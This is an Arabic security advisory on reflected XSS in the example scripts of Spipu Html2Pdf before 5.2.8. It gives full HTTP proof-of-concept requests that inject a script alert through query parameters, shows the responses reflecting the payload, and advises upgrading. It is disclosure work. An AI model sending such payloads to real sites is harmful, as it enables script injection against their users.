
Spipu Html2Pdf < 5.2.8 - ثغرات XSS في ملفات الأمثلة
Spipu Html2Pdf < 5.2.8 - ثغرات XSS في ملفات الأمثلة.
ثغرة من نوع Cross-Site-Scripting (XSS) في ملفات أمثلة Spipu Html2Pdf. تسمح هذه الثغرة للمهاجم بتنفيذ كود JavaScript غير موثوق به في سياق المستخدم المسجل حاليًا.
توجد الثغرة في أي معامل يتم تمريره إلى ملفي الأمثلة example9.php و forms.php.
مثال على طلب إلى سكربت forms.php:
GET /html2pdf/examples/res/forms.php?test=abc"><script>alert(document.domain)</script> HTTP/1.1
Host: example.afine.com
Cookie: PHPSESSID=oiqo2oopiqt88teqgfb0a23vk0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
استجابة الخادم:
HTTP/1.1 200 OK
Server: Apache
Content-Length: 2215
Connection: close
Content-Type: text/html; charset=UTF-8
[...]
<page footer="form">
<h1>Test de formulaire</h1><br>
<br>
<form action="http://example.afine.com:443/html2pdf/examples/res/forms.php?test=abc"><script>alert(document.domain)</script>">
<input type="hidden" name="test" value="1">
[...]
مثال على طلب إلى سكربت example9.php:
GET /html2pdf/examples/exemple09.php?test=/"><script>alert(document.domain)</script>abc/?nom=1 HTTP/1.1
Host: example.afine.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
استجابة الخادم:
HTTP/1.1 200 OK
Date: Sat, 08 Jul 2023 18:32:51 GMT
Server: Apache
X-Powered-By: PHP/7.4.8
Content-Length: 795
Connection: close
Content-Type: text/html; charset=UTF-8
[...]
<body>
<br>
Ceci est un exemple de génération de PDF via un bouton :)<br>
<br>
<img src="http://example.afine.com/html2pdf/examples/exemple09.php?test=/"><script>alert(document.domain)</script>abc/res/exemple09.png.php?px=5&py=20" alt="image_php" ><br>
<br>
<br>
<form method="get" action="">
[...]
حدثت هذه المشكلة بسبب عدم تعقيم معاملات الطلب المقدَّمة. تم إصلاح هذه المشكلة في إصدار Spipu Html2Pdf 5.2.8.
< 5.2.8
قم بتحديث Spipu Html2Pdf إلى الإصدار 5.2.8 أو أحدث.